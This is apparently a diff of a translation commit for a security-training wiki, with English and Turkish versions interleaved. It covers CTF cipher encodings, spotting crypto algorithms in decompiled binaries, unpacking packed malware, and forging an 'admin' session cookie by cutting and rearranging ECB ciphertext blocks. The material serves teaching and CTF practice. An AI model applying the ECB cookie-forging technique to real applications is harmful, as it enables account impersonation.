- [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85)
### Dvorak keyboard
### Dvorak klavye
```
drnajapajrna
```
- [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard)
### A1Z26
Letters to their numerical value
Harfleri sayısal değerlerine dönüştürme
```
8 15 12 1 3 1 18 1 3 15 12 1
```
### Affine Cipher Encode
Letter to num `(ax+b)%26` (_a_ and _b_ are the keys and _x_ is the letter) and the result back to letter
Harfı numaraya `(ax+b)%26` (_a_ ve _b_ anahtarlar ve _x_ harf) ve sonucu tekrar harfe çevirin.
```
krodfdudfrod
```
### SMS Kodu
### SMS Code
**Multitap** [bir harfi](https://www.dcode.fr/word-letter-change) mobil [telefon tuş takımı](https://www.dcode.fr/phone-keypad-cipher) üzerindeki karşılık gelen tuş kodu ile tanımlanan tekrar eden rakamlarla değiştirir (Bu mod SMS yazarken kullanılır).\
Örneğin: 2=A, 22=B, 222=C, 3=D...\
Bu kodu tanıyabilirsiniz çünkü\*\* birkaç rakamın tekrarlandığını\*\* göreceksiniz.
**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) by repeated digits defined by the corresponding key code on a mobile [phone keypad](https://www.dcode.fr/phone-keypad-cipher) (This mode is used when writing SMS).\
For example: 2=A, 22=B, 222=C, 3=D...\
You can identify this code because you will see\*\* several numbers repeated\*\*.
Bu kodu şurada çözebilirsiniz: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
You can decode this code in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
### Bacon Code
Substitude each letter for 4 As or Bs (or 1s and 0s)
### Bacon Kodu
Her harfi 4 A veya B (veya 1 ve 0) ile değiştirin.
```
00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000
AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
```
### Runes
![](../images/runes.jpg)
## Compression
**Raw Deflate** and **Raw Inflate** (you can find both in Cyberchef) can compress and decompress data without headers.
**Raw Deflate** ve **Raw Inflate** (her ikisini de Cyberchef'te bulabilirsiniz) başlık olmadan verileri sıkıştırabilir ve açabilir.
## Easy Crypto
@ -241,30 +219,25 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
### Bifid
A keywork is needed
Bir anahtar kelime gereklidir.
```
fgaargaamnlunesuneoa
```
### Vigenere
A keywork is needed
Bir anahtar kelime gereklidir
```
wodsyoidrods
```
- [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)
- [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher)
- [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx)
## Strong Crypto
## Güçlü Kripto
### Fernet
2 base64 strings (token and key)
2 base64 dizesi (token ve anahtar)
```
Token:
gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q==
@ -272,19 +245,16 @@ gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmC
Key:
-s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI=
```
- [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode)
### Samir Secret Sharing
A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_).
### Samir Gizli Paylaşımı
Bir gizli X parçaya bölünür ve onu geri almak için Y parçaya ihtiyacınız vardır (_Y <=X_).
```
8019f8fa5879aa3e07858d08308dc1a8b45
80223035713295bddf0b0bd1b10a5340b89
803bc8cf294b3f83d88e86d9818792e80cd
```
[http://christian.gen.co/secrets/](http://christian.gen.co/secrets/)
### OpenSSL brute-force
@ -292,7 +262,7 @@ A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_).
- [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
- [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF)
## Tools
## Araçlar
- [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool)
- [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom)

144
src/crypto-and-stego/cryptographic-algorithms/README.md
View File

@ -1,184 +1,184 @@
# Cryptographic/Compression Algorithms
# Kriptografik/Sıkıştırma Algoritmaları
## Cryptographic/Compression Algorithms
## Kriptografik/Sıkıştırma Algoritmaları
{{#include ../../banners/hacktricks-training.md}}
## Identifying Algorithms
## Algoritmaları Tanımlama
If you ends in a code **using shift rights and lefts, xors and several arithmetic operations** it's highly possible that it's the implementation of a **cryptographic algorithm**. Here it's going to be showed some ways to **identify the algorithm that it's used without needing to reverse each step**.
Eğer bir kod **sağa ve sola kaydırma, XOR ve çeşitli aritmetik işlemler** kullanıyorsa, bunun bir **kriptografik algoritmanın** uygulanması olması oldukça olasıdır. Burada, **her adımı tersine çevirmeden kullanılan algoritmayı tanımlamanın bazı yolları** gösterilecektir.
### API functions
### API fonksiyonları
**CryptDeriveKey**
If this function is used, you can find which **algorithm is being used** checking the value of the second parameter:
Bu fonksiyon kullanılıyorsa, ikinci parametrenin değerini kontrol ederek hangi **algoritmanın kullanıldığını** bulabilirsiniz:
![](<../../images/image (156).png>)
Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
Olası algoritmalar ve atanan değerleri için buradaki tabloya bakın: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
**RtlCompressBuffer/RtlDecompressBuffer**
Compresses and decompresses a given buffer of data.
Verilen bir veri tamponunu sıkıştırır ve açar.
**CryptAcquireContext**
From [the docs](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): The **CryptAcquireContext** function is used to acquire a handle to a particular key container within a particular cryptographic service provider (CSP). **This returned handle is used in calls to CryptoAPI** functions that use the selected CSP.
[Belgelerden](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): **CryptAcquireContext** fonksiyonu, belirli bir kriptografik hizmet sağlayıcısı (CSP) içindeki belirli bir anahtar konteynerine bir tanıtıcı almak için kullanılır. **Bu döndürülen tanıtıcı, seçilen CSP'yi kullanan CryptoAPI** fonksiyonlarına yapılan çağrılarda kullanılır.
**CryptCreateHash**
Initiates the hashing of a stream of data. If this function is used, you can find which **algorithm is being used** checking the value of the second parameter:
Bir veri akışının hash'ini başlatır. Bu fonksiyon kullanılıyorsa, ikinci parametrenin değerini kontrol ederek hangi **algoritmanın kullanıldığını** bulabilirsiniz:
![](<../../images/image (549).png>)
\
Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
Olası algoritmalar ve atanan değerleri için buradaki tabloya bakın: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
### Code constants
### Kod sabitleri
Sometimes it's really easy to identify an algorithm thanks to the fact that it needs to use a special and unique value.
Bazen, bir algoritmayı tanımlamak gerçekten kolaydır çünkü özel ve benzersiz bir değer kullanması gerekir.
![](<../../images/image (833).png>)
If you search for the first constant in Google this is what you get:
Eğer ilk sabiti Google'da ararsanız, bu sonucu alırsınız:
![](<../../images/image (529).png>)
Therefore, you can assume that the decompiled function is a **sha256 calculator.**\
You can search any of the other constants and you will obtain (probably) the same result.
Bu nedenle, dekompile edilmiş fonksiyonun bir **sha256 hesaplayıcı** olduğunu varsayabilirsiniz.\
Diğer sabitlerden herhangi birini arayabilirsiniz ve (muhtemelen) aynı sonucu alırsınız.
### data info
### veri bilgisi
If the code doesn't have any significant constant it may be **loading information from the .data section**.\
You can access that data, **group the first dword** and search for it in google as we have done in the section before:
Eğer kodda herhangi bir önemli sabit yoksa, bu **.data bölümünden bilgi yüklüyor olabilir**.\
Bu veriye erişebilir, **ilk dword'u gruplandırabilir** ve önceki bölümde yaptığımız gibi Google'da arama yapabilirsiniz:
![](<../../images/image (531).png>)
In this case, if you look for **0xA56363C6** you can find that it's related to the **tables of the AES algorithm**.
Bu durumda, eğer **0xA56363C6**'yı ararsanız, bunun **AES algoritmasının tablolarıyla** ilişkili olduğunu bulabilirsiniz.
## RC4 **(Symmetric Crypt)**
## RC4 **(Simetrik Kriptografi)**
### Characteristics
### Özellikler
It's composed of 3 main parts:
3 ana bölümden oluşur:
- **Initialization stage/**: Creates a **table of values from 0x00 to 0xFF** (256bytes in total, 0x100). This table is commonly call **Substitution Box** (or SBox).
- **Scrambling stage**: Will **loop through the table** crated before (loop of 0x100 iterations, again) creating modifying each value with **semi-random** bytes. In order to create this semi-random bytes, the RC4 **key is used**. RC4 **keys** can be **between 1 and 256 bytes in length**, however it is usually recommended that it is above 5 bytes. Commonly, RC4 keys are 16 bytes in length.
- **XOR stage**: Finally, the plain-text or cyphertext is **XORed with the values created before**. The function to encrypt and decrypt is the same. For this, a **loop through the created 256 bytes** will be performed as many times as necessary. This is usually recognized in a decompiled code with a **%256 (mod 256)**.
- **Başlatma aşaması/**: **0x00 ile 0xFF arasında değerler içeren bir tablo oluşturur** (toplam 256 bayt, 0x100). Bu tablo genellikle **Yer Değiştirme Kutusu** (veya SBox) olarak adlandırılır.
- **Karıştırma aşaması**: Daha önce oluşturulan tabloyu **döngü ile geçer** (0x100 yineleme döngüsü) ve her değeri **yarı rastgele** baytlarla değiştirir. Bu yarı rastgele baytları oluşturmak için RC4 **anahtarı kullanılır**. RC4 **anahtarları** **1 ile 256 bayt arasında** olabilir, ancak genellikle 5 bayttan fazla olması önerilir. Genellikle, RC4 anahtarları 16 bayt uzunluğundadır.
- **XOR aşaması**: Son olarak, düz metin veya şifreli metin, daha önce oluşturulan değerlerle **XOR'lanır**. Şifreleme ve şifre çözme fonksiyonu aynıdır. Bunun için, oluşturulan 256 bayt üzerinden gerekli olduğu kadar döngü yapılacaktır. Bu genellikle dekompile edilmiş kodda **%256 (mod 256)** ile tanınır.
> [!NOTE]
> **In order to identify a RC4 in a disassembly/decompiled code you can check for 2 loops of size 0x100 (with the use of a key) and then a XOR of the input data with the 256 values created before in the 2 loops probably using a %256 (mod 256)**
> **Bir deşifreleme/dekompile edilmiş kodda RC4'ü tanımlamak için 0x100 boyutunda 2 döngü kontrol edebilir ve ardından giriş verilerinin 2 döngüde daha önce oluşturulan 256 değerle XOR'lanmasını kontrol edebilirsiniz, muhtemelen bir %256 (mod 256) kullanarak**
### **Initialization stage/Substitution Box:** (Note the number 256 used as counter and how a 0 is written in each place of the 256 chars)
### **Başlatma aşaması/Yer Değiştirme Kutusu:** (Sayacı olarak kullanılan 256 sayısına ve 256 karakterin her yerinde 0 yazılmasına dikkat edin)
![](<../../images/image (584).png>)
### **Scrambling Stage:**
### **Karıştırma Aşaması:**
![](<../../images/image (835).png>)
### **XOR Stage:**
### **XOR Aşaması:**
![](<../../images/image (904).png>)
## **AES (Symmetric Crypt)**
## **AES (Simetrik Kriptografi)**
### **Characteristics**
### **Özellikler**
- Use of **substitution boxes and lookup tables**
- It's possible to **distinguish AES thanks to the use of specific lookup table values** (constants). _Note that the **constant** can be **stored** in the binary **or created**_ _**dynamically**._
- The **encryption key** must be **divisible** by **16** (usually 32B) and usually an **IV** of 16B is used.
- **yer değiştirme kutuları ve arama tabloları** kullanımı
- **Belirli arama tablo değerlerinin** (sabitlerin) kullanımı sayesinde AES'i **ayırmak mümkündür**. _Not edin ki **sabit** ikili dosyada **saklanabilir** veya _**dinamik olarak**_ _**oluşturulabilir**._
- **Şifreleme anahtarı** **16'ya** (genellikle 32B) **tam bölünebilir** olmalıdır ve genellikle 16B'lik bir **IV** kullanılır.
### SBox constants
### SBox sabitleri
![](<../../images/image (208).png>)
## Serpent **(Symmetric Crypt)**
## Serpent **(Simetrik Kriptografi)**
### Characteristics
### Özellikler
- It's rare to find some malware using it but there are examples (Ursnif)
- Simple to determine if an algorithm is Serpent or not based on it's length (extremely long function)
- Bunu kullanan bazı kötü amaçlı yazılımlar bulmak nadirdir ama örnekler vardır (Ursnif)
- Bir algoritmanın Serpent olup olmadığını belirlemek basittir, uzunluğu (son derece uzun fonksiyon)
### Identifying
### Tanımlama
In the following image notice how the constant **0x9E3779B9** is used (note that this constant is also used by other crypto algorithms like **TEA** -Tiny Encryption Algorithm).\
Also note the **size of the loop** (**132**) and the **number of XOR operations** in the **disassembly** instructions and in the **code** example:
Aşağıdaki görüntüde **0x9E3779B9** sabitinin nasıl kullanıldığına dikkat edin (bu sabitin ayrıca **TEA** -Küçük Şifreleme Algoritması gibi diğer kripto algoritmaları tarafından da kullanıldığını unutmayın).\
Ayrıca **döngünün boyutuna** (**132**) ve **dekompile** talimatlarındaki ve **kod** örneğindeki **XOR işlemleri sayısına** dikkat edin:
![](<../../images/image (547).png>)
As it was mentioned before, this code can be visualized inside any decompiler as a **very long function** as there **aren't jumps** inside of it. The decompiled code can look like the following:
Daha önce belirtildiği gibi, bu kod herhangi bir dekompiler içinde **çok uzun bir fonksiyon** olarak görselleştirilebilir çünkü içinde **atlamalar** yoktur. Dekompile edilmiş kod aşağıdaki gibi görünebilir:
![](<../../images/image (513).png>)
Therefore, it's possible to identify this algorithm checking the **magic number** and the **initial XORs**, seeing a **very long function** and **comparing** some **instructions** of the long function **with an implementation** (like the shift left by 7 and the rotate left by 22).
Bu nedenle, bu algoritmayı **büyülü numarayı** ve **ilk XOR'ları** kontrol ederek, **çok uzun bir fonksiyon** görerek ve uzun fonksiyonun bazı **talimatlarını** bir **uygulama** ile **karşılaştırarak** tanımlamak mümkündür (örneğin, 7'ye sola kaydırma ve 22'ye sola döndürme).
## RSA **(Asymmetric Crypt)**
## RSA **(Asimetrik Kriptografi)**
### Characteristics
### Özellikler
- More complex than symmetric algorithms
- There are no constants! (custom implementation are difficult to determine)
- KANAL (a crypto analyzer) fails to show hints on RSA ad it relies on constants.
- Simetrik algoritmalardan daha karmaşık
- Sabit yok! (özel uygulamaların belirlenmesi zordur)
- KANAL (bir kripto analizörü) RSA hakkında ipuçları gösteremiyor çünkü sabitlere dayanıyor.
### Identifying by comparisons
### Karşılaştırmalarla Tanımlama
![](<../../images/image (1113).png>)
- In line 11 (left) there is a `+7) >> 3` which is the same as in line 35 (right): `+7) / 8`
- Line 12 (left) is checking if `modulus_len < 0x040` and in line 36 (right) it's checking if `inputLen+11 > modulusLen`
- 11. satırda (solda) `+7) >> 3` var, bu da 35. satırda (sağda) `+7) / 8` ile aynıdır.
- 12. satır (solda) `modulus_len < 0x040` kontrol ediyor ve 36. satırda (sağda) `inputLen+11 > modulusLen` kontrol ediliyor.
## MD5 & SHA (hash)
### Characteristics
### Özellikler
- 3 functions: Init, Update, Final
- Similar initialize functions
- 3 fonksiyon: Init, Update, Final
- Benzer başlatma fonksiyonları
### Identify
### Tanımlama
**Init**
You can identify both of them checking the constants. Note that the sha_init has 1 constant that MD5 doesn't have:
Her ikisini de sabitleri kontrol ederek tanımlayabilirsiniz. Not edin ki sha_init'in MD5'de olmayan 1 sabiti vardır:
![](<../../images/image (406).png>)
**MD5 Transform**
**MD5 Dönüşümü**
Note the use of more constants
Daha fazla sabit kullanıldığına dikkat edin
![](<../../images/image (253) (1) (1).png>)
## CRC (hash)
- Smaller and more efficient as it's function is to find accidental changes in data
- Uses lookup tables (so you can identify constants)
- Daha küçük ve daha verimli çünkü işlevi verilerdeki kazara değişiklikleri bulmaktır
- Sabitleri tanımlamak için arama tabloları kullanır
### Identify
### Tanımlama
Check **lookup table constants**:
**arama tablo sabitlerini** kontrol edin:
![](<../../images/image (508).png>)
A CRC hash algorithm looks like:
Bir CRC hash algoritması şöyle görünür:
![](<../../images/image (391).png>)
## APLib (Compression)
## APLib (Sıkıştırma)
### Characteristics
### Özellikler
- Not recognizable constants
- You can try to write the algorithm in python and search for similar things online
- Tanınabilir sabit yok
- Algoritmayı Python'da yazmayı deneyebilir ve çevrimiçi benzer şeyler arayabilirsiniz
### Identify
### Tanımlama
The graph is quiet large:
Grafik oldukça büyük:
![](<../../images/image (207) (2) (1).png>)
Check **3 comparisons to recognise it**:
Bunu tanımak için **3 karşılaştırmayı** kontrol edin:
![](<../../images/image (430).png>)

34
src/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md
View File

@ -1,24 +1,24 @@
{{#include ../../banners/hacktricks-training.md}}
# Identifying packed binaries
# Paketlenmiş ikililerin tanımlanması
- **lack of strings**: It's common to find that packed binaries doesn't have almost any string
- A lot of **unused strings**: Also, when a malware is using some kind of commercial packer it's common to find a lot of strings without cross-references. Even if these strings exist that doesn't mean that the binary isn't packed.
- You can also use some tools to try to find which packer was used to pack a binary:
- [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml)
- [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml)
- [Language 2000](http://farrokhi.net/language/)
- **string eksikliği**: Paketlenmiş ikililerde neredeyse hiç string bulunmaması yaygındır.
- Birçok **kullanılmayan string**: Ayrıca, bir kötü amaçlı yazılım bazı ticari paketleyiciler kullanıyorsa, çapraz referanssız birçok string bulmak yaygındır. Bu stringler mevcut olsa bile, bu durum ikilinin paketlenmediği anlamına gelmez.
- Bir ikilinin hangi paketleyici ile paketlendiğini bulmak için bazı araçlar da kullanabilirsiniz:
- [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml)
- [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml)
- [Language 2000](http://farrokhi.net/language/)
# Basic Recommendations
# Temel Öneriler
- **Start** analysing the packed binary **from the bottom in IDA and move up**. Unpackers exit once the unpacked code exit so it's unlikely that the unpacker passes execution to the unpacked code at the start.
- Search for **JMP's** or **CALLs** to **registers** or **regions** of **memory**. Also search for **functions pushing arguments and an address direction and then calling `retn`**, because the return of the function in that case may call the address just pushed to the stack before calling it.
- Put a **breakpoint** on `VirtualAlloc` as this allocates space in memory where the program can write unpacked code. The "run to user code" or use F8 to **get to value inside EAX** after executing the function and "**follow that address in dump**". You never know if that is the region where the unpacked code is going to be saved.
- **`VirtualAlloc`** with the value "**40**" as an argument means Read+Write+Execute (some code that needs execution is going to be copied here).
- **While unpacking** code it's normal to find **several calls** to **arithmetic operations** and functions like **`memcopy`** or **`Virtual`**`Alloc`. If you find yourself in a function that apparently only perform arithmetic operations and maybe some `memcopy` , the recommendation is to try to **find the end of the function** (maybe a JMP or call to some register) **or** at least the **call to the last function** and run to then as the code isn't interesting.
- While unpacking code **note** whenever you **change memory region** as a memory region change may indicate the **starting of the unpacking code**. You can easily dump a memory region using Process Hacker (process --> properties --> memory).
- While trying to unpack code a good way to **know if you are already working with the unpacked code** (so you can just dump it) is to **check the strings of the binary**. If at some point you perform a jump (maybe changing the memory region) and you notice that **a lot more strings where added**, then you can know **you are working with the unpacked code**.\
However, if the packer already contains a lot of strings you can see how many strings contains the word "http" and see if this number increases.
- When you dump an executable from a region of memory you can fix some headers using [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases).
- Paketlenmiş ikiliyi **IDA'da alttan başlayarak analiz etmeye** **başlayın** ve yukarı doğru ilerleyin. Paket açıcılar, açılmış kod çıkınca çıkar, bu nedenle paket açıcının başlangıçta açılmış koda yürütme geçirmesi olası değildir.
- **Kayıtlar** veya **bellek** **bölgelerine** **JMP** veya **CALL** arayın. Ayrıca, **argümanlar ve bir adres yönlendirmesi iten fonksiyonlar arayın ve ardından `retn` çağırın**, çünkü bu durumda fonksiyonun dönüşü, yığına itilen adresi çağırabilir.
- `VirtualAlloc` üzerinde bir **kesme noktası** koyun, çünkü bu, programın açılmış kod yazabileceği bellek alanı ayırır. "Kullanıcı koduna çalıştır" veya F8 kullanarak **fonksiyonu çalıştırdıktan sonra EAX içindeki değere ulaşın** ve "**dump'taki o adresi takip edin**". Açılmış kodun kaydedileceği bölge olup olmadığını asla bilemezsiniz.
- **`VirtualAlloc`** ile "**40**" değeri bir argüman olarak, Okuma+Yazma+Çalıştırma anlamına gelir (çalıştırılması gereken bazı kod burada kopyalanacak).
- **Kod açma** sırasında **birçok çağrı** ile **aritmetik işlemler** ve **`memcopy`** veya **`Virtual`**`Alloc` gibi fonksiyonlar bulmak normaldir. Eğer yalnızca aritmetik işlemler gerçekleştiren ve belki de bazı `memcopy` yapan bir fonksiyonda iseniz, öneri **fonksiyonun sonunu bulmaya çalışmaktır** (belki bir JMP veya bazı kayıtlarla çağrı) **veya** en azından **son fonksiyona yapılan çağrıya kadar ilerleyin** çünkü kod ilginç değildir.
- Kod açma sırasında **bellek bölgesini değiştirdiğinizde** not alın, çünkü bir bellek bölgesi değişikliği **açma kodunun başlangıcını** gösterebilir. Process Hacker kullanarak bir bellek bölgesini kolayca dökebilirsiniz (işlem --> özellikler --> bellek).
- Kod açmaya çalışırken, **açılmış kodla çalışıp çalışmadığınızı bilmenin** iyi bir yolu, **ikilinin stringlerini kontrol etmektir**. Eğer bir noktada bir atlama yaparsanız (belki bellek bölgesini değiştirerek) ve **çok daha fazla string eklendiğini** fark ederseniz, o zaman **açılmış kodla çalıştığınızı** bilebilirsiniz.\
Ancak, eğer paketleyici zaten birçok string içeriyorsa, "http" kelimesini içeren string sayısını görebilir ve bu sayının artıp artmadığını kontrol edebilirsiniz.
- Bir bellek bölgesinden bir yürütülebilir dosyayı dökerken, bazı başlıkları [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases) kullanarak düzeltebilirsiniz.
{{#include ../../banners/hacktricks-training.md}}

68
src/crypto-and-stego/electronic-code-book-ecb.md
View File

@ -2,72 +2,66 @@
# ECB
(ECB) Electronic Code Book - symmetric encryption scheme which **replaces each block of the clear text** by the **block of ciphertext**. It is the **simplest** encryption scheme. The main idea is to **split** the clear text into **blocks of N bits** (depends on the size of the block of input data, encryption algorithm) and then to encrypt (decrypt) each block of clear text using the only key.
(ECB) Elektronik Kod Kitabı - her **açık metin bloğunu** **şifreli metin bloğu ile** **değiştiren** simetrik şifreleme şemasıdır. En **basit** şifreleme şemasını temsil eder. Ana fikir, açık metni **N bitlik bloklara** (girdi verisinin blok boyutuna, şifreleme algoritmasına bağlıdır) **bölmek** ve ardından her açık metin bloğunu yalnızca bir anahtar kullanarak şifrelemektir (şifre çözmektir).
![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png)
Using ECB has multiple security implications:
ECB kullanmanın birçok güvenlik etkisi vardır:
- **Blocks from encrypted message can be removed**
- **Blocks from encrypted message can be moved around**
- **Şifreli mesajdan bloklar çıkarılabilir**
- **Şifreli mesajdan bloklar yer değiştirebilir**
# Detection of the vulnerability
# Açığın Tespiti
Imagine you login into an application several times and you **always get the same cookie**. This is because the cookie of the application is **`<username>|<password>`**.\
Then, you generate to new users, both of them with the **same long password** and **almost** the **same** **username**.\
You find out that the **blocks of 8B** where the **info of both users** is the same are **equals**. Then, you imagine that this might be because **ECB is being used**.
Like in the following example. Observe how these** 2 decoded cookies** has several times the block **`\x23U\xE45K\xCB\x21\xC8`**
Bir uygulamaya birkaç kez giriş yaptığınızı ve **her zaman aynı çerezi** aldığınızı hayal edin. Bu, uygulamanın çerezinin **`<kullanıcı_adı>|<şifre>`** olmasındandır.\
Sonra, her ikisi de **aynı uzun şifreye** ve **neredeyse** **aynı** **kullanıcı adına** sahip iki yeni kullanıcı oluşturursunuz.\
Her iki kullanıcının **bilgilerinin** aynı olduğu **8B'lik blokların** **eşit** olduğunu keşfedersiniz. Sonra, bunun **ECB'nin kullanılıyor olabileceği** nedeniyle olabileceğini hayal edersiniz.
Aşağıdaki örnekte olduğu gibi. Bu **2 çözülmüş çerezin** nasıl birkaç kez **`\x23U\xE45K\xCB\x21\xC8`** bloğunu içerdiğine dikkat edin.
```
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
```
Bu, **bu çerezlerin kullanıcı adı ve şifresinin birkaç kez "a" harfini içermesinden kaynaklanmaktadır** (örneğin). **Farklı** olan **bloklar**, **en az 1 farklı karakter** içeren bloklardır (belki ayırıcı "|" veya kullanıcı adındaki bazı gerekli farklılık).
This is because the **username and password of those cookies contained several times the letter "a"** (for example). The **blocks** that are **different** are blocks that contained **at least 1 different character** (maybe the delimiter "|" or some necessary difference in the username).
Şimdi, saldırganın formatın `<username><delimiter><password>` mi yoksa `<password><delimiter><username>` mi olduğunu keşfetmesi gerekiyor. Bunu yapmak için, sadece **benzer ve uzun kullanıcı adları ve şifreler ile birkaç kullanıcı adı oluşturabilir** ve formatı ve ayırıcının uzunluğunu bulana kadar devam edebilir:
Now, the attacker just need to discover if the format is `<username><delimiter><password>` or `<password><delimiter><username>`. For doing that, he can just **generate several usernames **with s**imilar and long usernames and passwords until he find the format and the length of the delimiter:**
| Kullanıcı adı uzunluğu: | Şifre uzunluğu: | Kullanıcı adı+Şifre uzunluğu: | Çerezin uzunluğu (çözüldükten sonra): |
| ----------------------- | ---------------- | ------------------------------ | ------------------------------------- |
| 2 | 2 | 4 | 8 |
| 3 | 3 | 6 | 8 |
| 3 | 4 | 7 | 8 |
| 4 | 4 | 8 | 16 |
| 7 | 7 | 14 | 16 |
| Username length: | Password length: | Username+Password length: | Cookie's length (after decoding): |
| ---------------- | ---------------- | ------------------------- | --------------------------------- |
| 2 | 2 | 4 | 8 |
| 3 | 3 | 6 | 8 |
| 3 | 4 | 7 | 8 |
| 4 | 4 | 8 | 16 |
| 7 | 7 | 14 | 16 |
# Açığın Sömürülmesi
# Exploitation of the vulnerability
## Removing entire blocks
Knowing the format of the cookie (`<username>|<password>`), in order to impersonate the username `admin` create a new user called `aaaaaaaaadmin` and get the cookie and decode it:
## Tüm blokların kaldırılması
Çerezin formatını bilerek (`<username>|<password>`), `admin` kullanıcı adını taklit etmek için `aaaaaaaaadmin` adında yeni bir kullanıcı oluşturun ve çerezi alın ve çözün:
```
\x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
```
We can see the pattern `\x23U\xE45K\xCB\x21\xC8` created previously with the username that contained only `a`.\
Then, you can remove the first block of 8B and you will et a valid cookie for the username `admin`:
Önceden yalnızca `a` içeren kullanıcı adıyla oluşturulan `\x23U\xE45K\xCB\x21\xC8` desenini görebiliriz.\
Ardından, 8B'lik ilk bloğu kaldırabilir ve `admin` kullanıcı adı için geçerli bir çerez elde edersiniz:
```
\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
```
## Blokları Taşıma
## Moving blocks
Birçok veritabanında `WHERE username='admin';` veya `WHERE username='admin ';` aramak aynı şeydir _(Ekstra boşluklara dikkat edin)_
In many databases it is the same to search for `WHERE username='admin';` or for `WHERE username='admin ';` _(Note the extra spaces)_
Bu nedenle, `admin` kullanıcısını taklit etmenin başka bir yolu:
So, another way to impersonate the user `admin` would be to:
- `len(<username>) + len(<delimiter) % len(block)` olan bir kullanıcı adı oluşturmak. `8B` blok boyutuyla, `username ` adında bir kullanıcı adı oluşturabilirsiniz; ayırıcı olarak `|` kullanıldığında `<username><delimiter>` parçası 2 adet 8B blok oluşturacaktır.
- Ardından, taklit etmek istediğimiz kullanıcı adını ve boşlukları içeren tam sayıda blok dolduracak bir şifre oluşturmak, örneğin: `admin `
- Generate a username that: `len(<username>) + len(<delimiter) % len(block)`. With a block size of `8B` you can generate username called: `username `, with the delimiter `|` the chunk `<username><delimiter>` will generate 2 blocks of 8Bs.
- Then, generate a password that will fill an exact number of blocks containing the username we want to impersonate and spaces, like: `admin `
Bu kullanıcının çerezi 3 bloktan oluşacak: ilk 2 blok kullanıcı adı + ayırıcı blokları ve üçüncü blok şifre (kullanıcı adını taklit eden): `username |admin `
The cookie of this user is going to be composed by 3 blocks: the first 2 is the blocks of the username + delimiter and the third one of the password (which is faking the username): `username |admin `
**Sonra, sadece ilk bloğu son blokla değiştirin ve `admin` kullanıcısını taklit etmiş olacaksınız: `admin |username`**
**Then, just replace the first block with the last time and will be impersonating the user `admin`: `admin |username`**
## References
## Referanslar
- [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)](<http://cryptowiki.net/index.php?title=Electronic_Code_Book_(ECB)>)

10
src/crypto-and-stego/esoteric-languages.md
View File

@ -1,18 +1,16 @@
# Esoteric languages
# Esoterik diller
{{#include ../banners/hacktricks-training.md}}
## [Esolangs Wiki](https://esolangs.org/wiki/Main_Page)
Check that wiki to search more esotreic languages
Daha fazla esoterik dil aramak için o wikiye göz atın
## Malbolge
```
